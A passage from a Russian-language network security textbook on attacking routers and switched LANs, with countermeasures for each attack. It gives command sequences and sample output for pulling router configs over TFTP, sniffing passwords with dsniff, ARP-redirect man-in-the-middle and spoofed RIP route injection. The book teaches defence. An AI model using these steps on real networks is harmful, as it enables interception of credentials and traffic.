Для тех, кто лучше знаком с системой Windows, существует соответствующая версия модуля расшифровки паролей Cisco, подготовленная компанией SolarWinds из города Тулса штата Оклахома (Tulsa, Oklahoma). Компания SolarWinds разрабатывает сетевое программное обеспечение для больших телекоммуникационных компаний и включает модуль расшифровки в состав приложения просмотра параметров настройки устройств Cisco (Cisco Config Viewer). Кроме того, этот модуль распространяется и как самостоятельное приложение (рис. 10.6).



Рис. 10.6. Программа Cisco Password Decryption компании Solar-Winds имеет графический пользовательский интерфейс и является очень простым средством расшифровки паролей Cisco

Контрмеры: защита паролей Cisco


Единственным решением проблемы защиты пароля доступа (enable password) является использование для изменения пароля команды enable secret. Эта команда защищает пароль доступа с помощью алгоритма шифрования MD5, для которого пока что нет известных методов быстрого взлома. К сожалению, остальные пароли Cisco, такие как пароли доступа vty, защитить ни этим, ни каким-либо другим методом нельзя.

Получение файлов с помощью TRP


Практически все маршрутизаторы поддерживают использование протокола TFTP (Trivial File Transfer Protocol). Этот протокол представляет собой основанный на протоколе UDP механизм передачи файлов, применяемый для резервного копирования и восстановления конфигурационных файлов, который связан с портом UDP 69. Как вы понимаете, обнаружить эту службу, запущенную на вашем устройстве, достаточно просто с помощью утилиты nmap.
[root@happy] nmap -sU -p69 -nw target
Использование TFTP для получения конфигурационных файлов обычно является весьма тривиальной операцией (при условии, конечно, что администратор сети употребляет общепринятые названия конфигурационных файлов). Например, выполнив обратное DNS-преобразование адреса устройства, находящегося в нашей сети (192.168.0.1), мы можем установить, что оно имеет DNS-имя lax-serial-rtr. Теперь можно просто попытаться получить файл .cfg с помощью следующих команд, в которых имя DNS используется в качестве имени конфигурационного файла.

[root@happy] tftp
> connect 192.168.0.1
> get lax-serial-rtr.cfg
> quit

Если ваш маршрутизатор уязвим, то в текущем каталоге вашего компьютера вы наверняка найдете конфигурационный файл (lax-serial-rtr.cfg) маршрутизатора. В нем, скорее всего, будут содержаться все строки доступа SNMP, а также списки управления доступом. Более подробная информация о том, как использовать TFTP для получения информации об устройствах Cisco, находится в архиве группы Packet Storm.

Контрмеры: защита от применения ТFTР


Для того чтобы устранить угрозу, таящуюся в использовании протокола TFTP, можно предпринять следующие меры.
 Вообще запретите доступ с помощью TFTP. Синтаксис команды, которую можно использовать для этих целей, существенно зависит от модели маршрутизатора, поэтому сначала внимательно изучите документацию. Для моделей ряда Cisco 7000 можно попробовать команду следующего вида. no tftp-server flash <устройство:имя_файла>  Для контроля доступа с помощью TFTP настройте соответствующий фильтр. Это можно осуществить с помощью команды, подобной следующей.

access-list 101 deny udp any any eq 69 log !

Конфигурационные файлы устройств компании Bay


Программное обеспечение управления сетью компании Bay Networks, диспетчер Site Manager, позволяет администраторам выполнять тестирование состояния сети, включая проверку SNMP-статуса устройства и установление факта его работоспособности с помощью пакетов IСМР. К сожалению, конфигурационные файлы .cfg, предназначенные для хранения параметров Site Manager, хранятся в незашифрованном виде. Помимо прочего, в этом файле хранятся также строки доступа SNMP. Если злоумышленнику удастся проникнуть на компьютер, работающий под управлением Site Manager, все, что ему нужно сделать, — это скопировать конфигурационные файлы в свою версию Site Manager и найти в них информацию о строках доступа SNMP.

Контрмеры: защита конфигурационных файлов Вау


Самая простая защитная мера заключается в ограничении списка пользователей. которым разрешено копировать конфигурационные файлы. Для этого достаточно разрешить чтение этих файлов только суперпользователю root (или только администратору, отвечающему за настройку маршрутизатора).



Множественный доступ и коммутация пакетов

Общая передающая среда (как Ethernet, так и Token Ring) применяется для обмена данными в сетях на протяжении более двух десятков лет. Этот подход был разработан Бобом Меткафом (Bob Metcalfe) для стандарта Ethernet в исследовательском центре компании Xerox, расположенном в г. Пало Альто (PARC — Palo Alto Research Center), и получил название CSMA/CD (выявление множественного доступа к линии/распознавание конфликтов — Carrier Sense Multiple Access/Collision Detection). При такой традиционной топологии сетевой адаптер Ethernet отправляет исходящий поток данных каждому узлу сегмента. С одной стороны, это гарантирует, что принимающий адаптер, где бы он ни находился, получит, как и все остальные адаптеры сети, предназначавшиеся ему данные (хотя остальным сетевым адаптерам они вовсе не нужны). С другой стороны, постоянно рассылаемые по всей сети пакеты мешают друг другу и при повышении интенсивности работы могут возникать ситуации, когда пропускная способность канала не соответствует интенсивности передаваемых по нему данных. Кроме того, с точки зрения безопасности, множественный доступ к передающей среде — это "бомба замедленного действия", которая рано или поздно может привести к нарушениям безопасности. Однако, к сожалению, сети Ethernet с множественным доступом весьма распространены в настоящее время и. похоже, вряд ли исчезнут в обозримом будущем.
Между тем уже довольно давно существует технология Ethernet, построенная на принципе коммутации пакетов, которая далеко позади оставляет традиционную технологию Ethernet. Технология коммутации пакетов основывается на использовании большой таблицы адресов MAC (Media Access Control — управление доступом к компонентам среды). При использовании МАС-адресов данные отправляются с помощью специального алгоритма, реализованного в виде быстродействующей микросхемы, непосредственно получателю этих данных и никому более (за исключением лишь некоторых особых случаев).
Однако и в коммутируемых сетях также имеется возможность перехвата пересылаемых пакетов. Примером такого устройства могут быть коммутаторы Catalyst компании Cisco, имеющие средства поддержки технологии SPAN (Switched Port Analyzer). Перенаправив определенные порты или виртуальные локальные сети (VLAN — Virtual Local Area Networks) на заданный порт, администратор может перехватывать пакеты так, как если бы они передавались по традиционной сети с множественным доступом. В настоящее время этот прием часто используется в системах выявления вторжений (IDS — Intrusion Detection System) с целью обеспечения возможности прослушивания передаваемого потока данных и выявления нарушений безопасности. 
Еще более опасной для коммутируемых сетей оказалась технология, реализованная Дагом Сонгом (Dug Song) в его программе-анализаторе dsniff. Эта программа позволяет захватывать трафик коммутируемой сети, полностью перенаправляя его с заданного узла на узел, на котором она установлена. Такая технология достаточно проста и способна разрушить традиционное мнение о том, что сеть с коммутацией пакетов обеспечивает достаточно высокий уровень безопасности.



Определение типа сети

Определить, к какому типу относится используемая вами сеть (т.е. к сетям с множественным доступом или же к сетям с коммутацией пакетов), очень просто. Используя простейшую программу перехвата пакетов, например tcpdump (для NT или UNIX), вы получите все данные, необходимые для того, чтобы сделать однозначное заключение.
В коммутируемых сетях вы сможете увидеть только трафик широковещательных сообщений (broadcast traffic), трафик групповых сообщений (пакеты, передаваемые группе узлов; multicast traffic), а также потоки данных, отправляемые и получаемые вашим компьютером. В показанном ниже примере сеанса работы утилиты tcpdump, запущенной в коммутируемой сети, видно, что утилита перехватила только циркулярную рассылку по протоколу SAP (Service Advertisement Protocol) и пакеты, отправляемые по протоколу разрешения адресов (ARP — Address Resolution Protocol).

20:20:22.530205 0:80:24:53:ae:bd >
1:80:c2:0:0:0 sap 42 ui/C len=43
0000 0000 0080 0000 8024 53ae dlOO 0000
0080 0000 8024 53ae d!80 OdOO 0014 0002
OOOf 0000 0000 0000 0000 00
20:20:24.610205 0:80:24:53:ae:bd >
1:80:c2:0:0:0 sap 42 ui/C len=43
0000 0000 0080 0000 8024 53ae dlOO 0000
0080 0000 8024 53ae d!80 OdOO 0014 0002
OOOf 0000 0000 0000 0000 00
20:20:25.660205 arp
who-has 172.29.11.100 tell 172.29.11.207
20:20:26.710205 0:80:24:53:ae:bd
> 1:80:c2:0:0:0 sap 42 ui/C len=43
0000 0000 0080 0000 8024 53ae dlOO 0000
0080 0000 8024 53ae d!80 OdOO 0014 0002
OOOf 0000 0000 0000 0000 00
20:20:28.810205 0:80:24:53:ae:bd >
1:80:c2:0:0:0 sap 42 ui/C len=43
0000 0000 0080 0000 8024 53ae dlOO 0000
0080 0000 8024 53ae d!80 OdOO 0014 0002
OOOf 0000 0000 0000 0000 00
20:20:30.660205 arp who-has
172.29.11.100 tell 172.29.11.207

В то же время в сетях с множественным доступом к передающей среде вы увидите все типы данных, пересылаемых по сети разными узлами. Например, в показанном ниже фрагменте сеанса работы утилиты tcpdump, легко обнаружить потоки данных, предназначенные другим компьютерам (естественно, такого рода информация гораздо интереснее для злоумышленников, чем приведенная выше).

20:25:37.640205 192.168.40.66.23 >
172.29.11.207.1581: Р 31:52(21)
ack 4С win 8760 (DF) (ttl 241, id 21327)
20:25:37.640205 172.29.11.207.1581 >
192.168.40.66.23: Р 40:126(86)
ack 52 win 32120 (DF")
[tos 0x10] (ttl 64, id 4221)
20:25:37.780205 192.168.40.66.23 >
172.29.11.207.1581: P 52:73(21)
ack 126 win 8760 (DF) (ttl 241,id 21328)
20:25:37.800205 172.29.11.207.1581 >
192.168.40.66.23: . ack 73
win 32120 (DF) [tos 0x10] (ttl 64,id 4222)
20:25:37.960205 192.168.40.66.23 >
172.29.11.207.1581: P 73:86(13)
ack 126 win 8760 (DF) (ttl 241,id 21329)
20:25:37.960205 172.29.11.207.1581 >
192.168.40.66.23: P 126:132(6)
ack 86 win 32120 (DF)
[tos 0x10] (ttl 64, id 4223)
20:25:38.100205 192.168.40.66.23 >
172.29.11.207.1581: P 86:89(3)
ack 132 win 8760 (DF) (ttl 241, id 21330)
20:25:38.120205 172.29.11.207.1581 >
192.168.40.66.23: . ack 89
win 32120 (DF) [tos 0x10]
(tti 64,id 4224)



Пароли на блюдечке: dsniff

Конечно, с помощью утилиты tcpdump можно без проблем определить тип используемой сети, однако что вы скажете о получении главных жемчужин компьютерного мира — паролей? Для этих целей можно приобрести чудовищный по предоставляемым возможностям программный пакет SnifferPro или воспользоваться более дешевыми средствами, например, CaptureNet, разработанным Лаврентием Никулой (Laurentiu Nicula). Однако лучше всего прибегнуть к программе Дага Сонга (Dug Song). Он разработал одно из наиболее сложных средств перехвата паролей — программу dsniff.
Зачастую можно встретить приложения, в которых в качестве паролей используется незашифрованный текст. Кроме того, подобная конфиденциальная информация хранится далеко не в лучшем месте. Примерами таких приложений могут послужить следующие: FTP, telnet, POP, SNMP, HTTP, NNTP, ICQ, IRC, Socks, NFS (сетевая файловая система— Network File System), mountd, rlogin, IMAP, AIM, XI1, CVS, Napster, Citrix ICA, pcAnywhere, NAI Sniffer, Microsoft SMB и Oracle SQL. В большинстве перечисленных выше приложений либо используются незашифрованные пользовательские имена и пароли, либо применяются упрошенные алгоритмы шифрования, сокрытия и декодирования, которые нельзя рассматривать как серьезную преграду для взломщиков. Именно в этом случае можно ощутить всю мощь программы dsniff.
С помощью программы dsniff можно прослушать трафик любого сетевого сегмента независимо от того, относится ли он к сети с множественным доступом или же к сети с коммутацией пакетов. Эту программу можно получить по адресу http://naughty.monkey.org/~dugsong/dsniff/, а затем выполнить ее компиляцию. С Web-узла компании еЕуе (http://www.eeye.com) можно также загрузить и попробовать в действии версию этой программы для платформы Win32. В этом случае потребуется установить также и библиотеку WinPcap, которая, однако, может вызвать некоторые проблемы в системах с конфликтом драйверов. Эту библиотеку можно найти по адресу http://netgroup-serv.polito.it/winpcap/.
При запуске программы dsnif f в системе Linux будут получены все незашифрованные или простые пароли сетевого сегмента.

[root@mybox dsniff-1.8] dsniff
---------------
05/21/00 10:49:10 bob -> unix-server (ftp)
USER bob
PASS dontlook
---------------
05/21/00 10:53:22 karen -> lax-cisco (telnet)
karen
supersecret
---------------
05/21/00 11:01:11 karen -> lax-cisco (snmp)
[version 1]
private

Кроме средства перехвата паролей dsnif f, в состав пакета входят разнообразные средства поиска других слабых мест, такие как mailsnarf и webspy. mailsnarf представляет собой небольшое приложение, позволяющее собирать все почтовые сообщения и отображать их содержимое на экране, как если они были написаны вами лично, webspy — это мощная утилита, которая окажется полезной, если требуется определить, какие страницы в Web посетили пользователи. При этом в Web-броузере автоматически будут отображаться Web-страницы, которые были просмотрены определенным пользователем.

[root]# mailsnarf
From stu@hackingexposed.com Mon May 29 23:19:10 2000
Message-ID: 0017Olbfca02$790cca90$6433a8cO@foobar.com
Reply-To: "Stuart McClure" stu@hackingexposed.com
From: "Stuart McClure" stu@hackingexposed.com
To: "George Kurtz" george@hackingexposed.com
References: 0022Olbfc729$7d7ffe70$ab8dOb!8@JOC
Subject: Re: conference call
Date: Mon, 29 May 2000 23:44:15 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="———=_NextPart_000_0014_01BFC9C7.CC970F30"
X-Priority: 3 X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
This is a multi-part message in MIME format.
---=_NextPart_000_0014_01BFC9C7.CC970F30
Content-Type: text/plain;
charset="iso-8859-l"
Content-Transfer-Encoding: quoted-printable
Have you heard the latest one about the...
[content censored here]
- Stu

Чтение почтовых сообщений ваших соседей может показаться забавным занятием, однако не забывайте о том, что подобные действия вряд ли можно назвать законными.

Контрмеры: защита от dsniff


Традиционным способом защиты от перехвата незашифрованных паролей является переход от сетевой топологии Ethernet с множественным доступом к сети с коммутацией пакетов. Однако как вы узнали из предыдущих разделов, такая мера практически не способна предотвратить атаки с применением программы dsniff.
В этом случае ко всему сетевому трафику лучше всего применить один из алгоритмов шифрования. Воспользуйтесь преимуществами SSH для туннелирования всего трафика или возможностями средств, в которых реализованы алгоритмы шифрования по открытому ключу (PKI — Public Key Infrastructure), например продуктами компании Entrust Technologies. Это позволит выполнить сквозное шифрование всего потока сетевых данных.



Анализ пакетов на коммутаторе сети

На первый взгляд кажется, что для повышения скорости и уровня безопасности можно просто добавить в сеть новый коммутатор. Если вы считаете, что это позволит удержать любознательных пользователей от прослушивания интенсивного сетевого трафика, то такая позиция может вызвать лишь улыбку. Неужели вы думаете, что новый коммутатор способен разрешить все существующие проблемы? Подумайте хорошенько еще раз.
Протокол ARP (Address Resolution Protocol — протокол разрешения адресов, RFC 826) обеспечивает динамическое преобразование 32-битовых IP-адресов в 48-битовые физические адреса сетевых устройств. Когда узлу требуется обратиться к соседним устройствам из той же сети (включая шлюз, используемый по умолчанию), он рассылает широковещательные сообщения ARP для поиска физического адреса требуемого узла. Соответствующий узел отвечает на запрос ARP, сообщая свой физический адрес, после чего и начинается взаимодействие.
К сожалению, трафик ARP с исходного узла можно перенаправить на компьютер взломщика. Это можно осуществить даже в сетях с коммутацией пакетов. Перехваченные сообщения можно просмотреть с использованием анализатора сетевых пакетов, а затем передать их в реальный пункт назначения. Этот сценарий известен как атака с применением "третьего среднего" (man in the middle). Такой подход оказывается относительно простым. Рассмотрим его реализацию на примере.

Перенаправление ARP


В рассматриваемом примере три компьютера соединены с сетевым коммутатором. Система crush является шлюзом, заданным по умолчанию, с IP-адресом 10.1.1.1. Компьютер shadow— это исходный узел с IP-адресом 10.1.1.18. Система twister представляет собой компьютер взломщика, который будет выполнять роль "третьего-среднего". Его IP-адрес 10.1.1.19. Для подготовки нападения на узле twister запустим утилиту arpredirect, входящую в состав пакета dsniff Дага Сонга. Эта утилита позволит нам перехватывать пакеты, передаваемые исходным узлом по сети другому узлу, который обычно представляет собой шлюз, используемый по умолчанию.

Перед тем как приступить к изучению этого подхода в собственной сети, обсудите этот вопрос с сетевым администратором. Если на вашем коммутаторе включен режим защиты портов, то это может привести к блокированию всех пользователей, обратившихся к нему.

Не забывайте о том, что все компьютеры соединены с коммутатором и у нас имеется возможность просматривать лишь широковещательный сетевой трафик. Однако как показано ниже, с помощью утилиты arpredirect мы сможем просмотреть весь поток сообщений, передаваемый между узлами shadow и crush.
На узле twister выполним следующую команду.

[twister] ping crush
PING 10.1.1.1 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=0 ttl=128 time=1.3 ms
[twister] ping shadow
PING 10.1.1.18 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.18: icmp_seq=0 ttl=255 time=5.2 ms



В результате в таблицу ARP компьютера twister будет помещен физический адрес соответствующих узлов, которые понадобятся при запуске утилиты arpredirect.

[twister] arpredirect -t 10.1.1.18 10.1.1.1
intercepting traffic from 10.1.1.18 to 10.1.1.1 (^С to exit)...

После выполнения этой команды весь поток сообщений, передаваемый с узла shadow на используемый по умолчанию шлюз crush, будет перенаправляться на компьютер взломщика, twister. На этом узле необходимо также включить режим последующей передачи IP-пакетов (forwarding IP traffic), чтобы он функционировал в качестве маршрутизатора и после перехвата сообщений с узла shadow перенаправлял их на узел crush. На компьютере twister режим передачи пакетов можно активизировать на уровне ядра, однако делать этого не рекомендуется, поскольку в этом случае могут передаваться также пакеты ICMP, что может привести к нарушению всего процесса. Вместо этого воспользуемся утилитой fragrouter (http://www.anzen.com/ research/nidsbench/fragrouter.html) и активизируем обычный режим передачи IP-пакетов с помощью следующей команды.

[twister] fragrouter -Bl
fragrouter: base-1: normal IP forwarding
10.1.1.18.2079 > 192.168.20.20.21: S 592459704:592459704(0)
10.1.1.18.2079 > 192.168.20.20.21: P 592459705:592459717(12)
10.1.1.18.2079 > 192.168.20.20.21: . ack 235437339
10.1.1.18.2079 > 192.168.20.20.21: P 592459717:592459730(13)
<вывод сокращен>

И наконец, на узле twister нужно активизировать простую программу анализа пакетов, чтобы иметь возможность перехватывать все ценные данные. Для получения более подробной информации об анализаторах сетевых пакетов читайте главы 6 и 8.

[twister] linsniff
Linux Sniffer Beta v. 99 Log opened.
-----[SYN] (slot 1)
10.1.1.18 => 192.168.20.20 [21]
USER saumil
PASS lamDaman!!
PORT 10,1,1,18,8,35
NLST
QUIT
-----[SYN] (slot 1)
10.1.1.18 => 192.168.20.20 [110]
USER saumil PASS lamOwned
[FIN] (1)

Теперь посмотрим, что же произойдет. После запуска утилиты arpredirect узел twister будет передавать фальшивые ARP-ответы узлу shadow и выдавать себя за узел crush. Узел shadow успешно обновит свою таблицу ARP и поместит в нее "новый" физический адрес узла crush. После этого пользователь компьютера shadow начнет сеанс FTP и POP с узлом 192.168.20.20. Однако вместо передачи пакетов на компьютер crush, реальный используемый по умолчанию шлюз, узел shadow будет введен в заблуждение, поскольку в его таблицу ARP были внесены соответствующие изменения. Через узел twister весь трафик будет перенаправляться на узел 192.168.20. 20, поскольку с помощью утилиты fragrouter мы активизировали режим перенаправления IP-пакетов. Другими словами, узел twister будет играть роль маршрутизатора.
В рассмотренном примере мы просто перенаправили все сетевые пакеты, передаваемые с узла shadow на узел crush. Однако вполне возможно перенаправить весь трафик на узел twister, опустив параметр -t.

[twister] arpredirect 10.1.1.1
intercepting traffic from LAN to 10.1.1.1 (ЛС to exit)...

Нетрудно догадаться, что в сети с интенсивным трафиком это приведет к настоящему хаосу.
Если вы не очень хорошо знакомы с системой UNIX, то у вас может возникнуть закономерный вопрос: можно ли утилиту arpredirect использовать в системе Windows. К сожалению, утилита arpredirect не перенесена на эту платформу, но ничто не мешает нам воспользоваться альтернативными вариантами. Для некоторых коммутаторов можно установить сетевое подключение к порту простого концентратора. Затем к этому концентратору можно подключить компьютер с системой UNIX, на котором запущена утилита arpredirect, а также компьютер под управлением Windows, на котором запушена выбранная вами программа-анализатор. Система UNIX будет успешно перенаправлять весь трафик, тогда как система Windows будет его перехватывать на локальном концентраторе.

Контрмеры: предотвращение перенаправленияАВР


Как вы увидели в предыдущем разделе, не составляет никаких проблем генерировать ложные ответы ARP и модифицировать таблицу ARP на большинстве узлов локальной сети. Где это только возможно, задавайте статические записи таблицы ARP, особенно на важных системах. Стандартный прием заключается в задании статических записей АКР, определяющих взаимодействие брандмауэра и пограничных маршрутизаторов. Это можно реализовать следующим образом.

[shadow] arp -s crush 00:00:С5:74:ЕА:ВО
[shadow] arp -a
crush (10.1.1.1) at 00:00:05:74:ЕА:ВО [ether] PERM on ethO

Обратите внимание на флаг PERM, который является признаком статической записи ARP.
Использование постоянных статических маршрутов для внутренних сетевых узлов является не самой распространенной практикой в мире. Поэтому можно применять утилиту arpwatch, предназначенную для отслеживания пар АКР-адрес/IР-адрес и уведомления о любых обнаруженных изменениях.
Для активизации этого режима запустите утилиту arpwatch, указав при этом интерфейс, мониторинг которого нужно осуществлять. [crush] .arpwatch -i rl0
Как видно из следующего примера, утилита arpwatch обнаружила работу утилиты arpredirect и поместила соответствующую запись в журнал /var/log/messages.

May 21 12:28:49 crush: flip
flop 10.1.1.1 0:50:56:bd:2a:f5 (0:0:c5:74:ea:bO)

Поскольку подобную деятельность выявить не очень легко, то такой мониторинг будет полезен при ее идентификации.

snmpsniff


Если ваш компьютер находится в сегменте сети с множественным доступом, то совсем неплохо ее "прослушать" и узнать, что же в ней происходит. Воспользуйтесь мощным анализатором пакетов SnifferPro компании Network Associates или запустите утилиту snmpsnif f, разработанную Нуно Леитао (Nuno Leitao, nuno.leitao@convex.pt). а затем посмотрите, какую информацию вы получили.
Утилита snmpsniff — это прекрасное средство для перехвата не только строк доступа, но и запросов SNMP. Достаточно запустить ее с указанными ниже параметрами, чтобы практически гарантированно получить нечто интересное.

[root@kramer snmpsniff-0.9b]# ./snmpsniff.sh
snmpsniffer: listening or. ethO
(05:46:12) 172.31.50.100(secret)-» 172.31.50.2 (ReqID:1356392156)
GET:
<.iso.org.dod.internet.ragmt.mib-2.system.1.0>(NULL)
= NULL (05:46:12) 172.31.50.2(secret)-» 172.31.50.100
(ReqID:1356392156)
RESPONSE (Err:0): <.iso.org.dod.internet.mgmt.mib-2.system.1.0>
(Octet String) = OCTET STRING- (ascii) : Cisco Internetwork
Operating System Software ..IOS (tin) 3000 Software (IGS-I-L),
Version 11.0(16), RELEASE SOFTWARE (fcl)..Copyright (c) 1986-1997
by Cisco Systems, Inc...Compiled
Tue 24-Jun-97 12:20 by jaturner

Как видно из приведенного выше фрагмента, злоумышленнику удалось узнать одну из строк доступа (secret), которая может оказаться строкой доступа, позволяющей не только получать, но и записывать данные на маршрутизатор 172.31.50.2 с помощью SNMP. Теперь злоумышленник сможет получить доступ не только к устройствам вашей сети, но и попробовать взломать еще одну "жертву" — компьютер с IP-адресом 172.31.50.100.

Контрмеры: защита трафика ЗММР


Одна из защитных мер, позволяющих предотвратить перехват трафика SNMP, заключается в его шифровании. В обоих версиях этого протокола, SNMP\2 и SNMPvS, имеется возможность применения алгоритмов шифрования и стандарта DES для шифрования конфиденциальной информации. Альтернативный подход заключается в реализации защищенного канала на базе частной виртуальной сети (VPN — Virtual Private Network). При использовании клиентского программного обеспечения VPN, разработанного компанией Entrust (http://www.entrust.com) или компанией NortelNetworks (http://www.nortelnetworks.com), гарантируется шифрование трафика между клиентским узлом и концом канала VPN.

Ложные пакеты RIP


После успешной идентификации маршрутизаторов вашей сети, опытный взломщик наверняка предпримет попытку найти те из них, которые поддерживают протокол маршрутизации RIP (Routing Information Protocol) версии 1 (RFC 1058) или 2 (RFC 1723). Почему? Дело в том, что с его помощью легко сгенерировать ложные пакеты. Объясняется это следующими причинами.
 Протокол RIP базируется на протоколе UDP (порт UDP 520) и таким образом также не требует наличия открытого соединения (connectionless). Другими словами, соответствующий пакет будет принят от любого узла, несмотря на то, что такой пакет никогда не был отправлен.  В протоколе RIP версии 1 отсутствует механизм аутентификации, что позволяет любому узлу отправить пакет маршрутизатору RIP и получить требуемые данные.  Протокол RIP версии 2 поддерживает упрощенную аутентификацию, позволяющую использовать пароли в виде незашифрованного текста длиной 16 байт. Однако, как теперь вам известно, подобные пароли можно без проблем перехватить. В результате взломщик может просто отправить маршрутизатору RIP ложные пакеты и указать, чтобы пакеты передавались в другую сеть или узел, а не на требуемый узел. Вот как можно осуществить атаку с помощью ложных пакетов RIP.
1. Идентифицируйте маршрутизатор RIP, который вы планируете атаковать. Для этого выполните сканирование UDP-порта с номером 520.
2. Определите таблицу маршрутизации.
 Если вы находитесь в том же физическом сегменте, что и маршрутизатор, и можете перехватывать сетевой трафик, то достаточно просто прослушать широковещательный трафик RIP и получить из него всю интересующую информацию о записях маршрутизации (если вы имеете дело с активным маршрутизатором RIP) или запросить маршруты (в случае пассивного или активного маршрутизатора RIP).  Если вы находитесь на удаленном узле или лишены возможности перехватывать пакеты, то можно воспользоваться простой утилитой rprobe. Запустив эту утилиту в одном окне, можно передать маршрутизатору RIP запрос о доступных маршрутах:

[roottt] rprobe -v 192.168.51.102
Sending packet
Sent 24 bytes.

 С помощью утилиты tcpdump (или другой программы перехвата пакетов), запущенной в другом окне, можно прочитать ответ маршрутизатора.

---- RIP Header----
Routing data frame 1
Address family identifier = 2 (IP)
IP address = [10.42.33.0]
Metric = 3
Routing data frame 2
Address family identifier = 2 (IP)
IP address = [10.45.33.0]
Metric = 3
Routing data frame 2
Address family identifier = 2 (IP)
IP address = [10.45.33.0]
Metric = 1

3. Определите наилучшее направление атаки. Тип атаки ограничивается лишь фантазией взломщика, однако в данном примере мы перенаправим весь трафик на определенный узел через наш собственный компьютер, чтобы можно было проанализировать все пакеты и, не исключено, извлечь из них информацию о паролях. Для этого на маршрутизатор RIP (192.168.51.102) необходимо добавить следующий маршрут.
IP-адрес = 10.45.33.10 
Маска подсети =255.255.255.255
Шлюз = 172.16.41.200 
Метрика = 1
4. Добавьте маршрут. Для этого с помощью утилиты srip передайте маршрутизатору ложный пакет со статическим маршрутом.
[root#] srip -2 -n 255.255.255.255 172.16.41.200 192.168.51.102 10.45.33.10 1
5. Теперь все пакеты, предназначенные для узла 10.45.33.1 (который может быть любым сервером, содержащим конфиденциальную информацию), будут перенаправляться на наш компьютер (172.16.41.200) для последующей передачи. Конечно, для дальнейшей передачи этих пакетов необходимо воспользоваться утилитой fragrouter или любым другим средством уровня ядра.

Утилита fragrouter
[root*] ./fragrouter -Bl
Передача пакетов на уровне ядра
[roottt] vi /proc/sys/net/ipv4/ip_forward (change 0 to 1)

6. Установите свой любимый анализатор пакетов для системы Linux (например, программу dsnif f), а затем приступите к просмотру "на лету" имен пользователей и паролей.
Как видно из следующего рисунка, обычный поток сообщений с узла DIANE можно без проблем перенаправить через компьютер взломщика (PAUL) и лишь затем передать их дальше на узел назначения (FRASIER).



 Контрмеры: защита от ложных пакетов RIP  Запретите поддержку протокола RIP на своем маршрутизаторе. В протокол OSPF (Open Shortest Path First) встроены более защищенные механизмы аутентификации, которые ограничивают возможности взломщика по использованию ложных пакетов RIP.  Если это возможно, вообще запретите на пограничном маршрутизаторе обработку входящих пакетов RIP (порты 521 TCP/UDP). Требуйте использования лишь статических маршрутов.



Резюме

В этой главе вы узнали, как много сетевых устройств можно выявить с помощью методов сканирования и прослеживания маршрутов. Идентифицировать эти устройства достаточно легко. Обычно этот процесс сопровождается сбором идентификационных маркеров, идентификацией операционной системы и идентификацией по характерным признакам, например по открытому порту 1999 устройств Cisco.
Мы также обсудили угрозы, которые таит в себе неправильная настройка протокола SNMP и использование установленных по умолчанию строк доступа. Кроме того, мы рассмотрели различные потайные учетные записи, которые, к сожалению, имеются во многих современных сетевых устройствах. Затем мы остановились на нескольких способах получения конфигурационных файлов, таких как запись по сети базы данных Ml В или через TFTP.
В этой главе были рассмотрены различия между коммутируемыми и традиционными сетями, а также продемонстрированы некоторые методы, с помощью которых злоумышленники могут прослушать сетевой поток данных telnet и SNMP с использованием анализаторов пакетов dsniff и linsniff, а затем получить доступ ко всей инфраструктуре сети. И наконец, был рассмотрен вопрос о том, как в коммутируемых сетях взломщики могут перехватывать пакеты ARP и использовать протоколы SNMP и RIP для обновления таблиц маршрутизации с целью последующего несанкционированного получения информации о пользователях.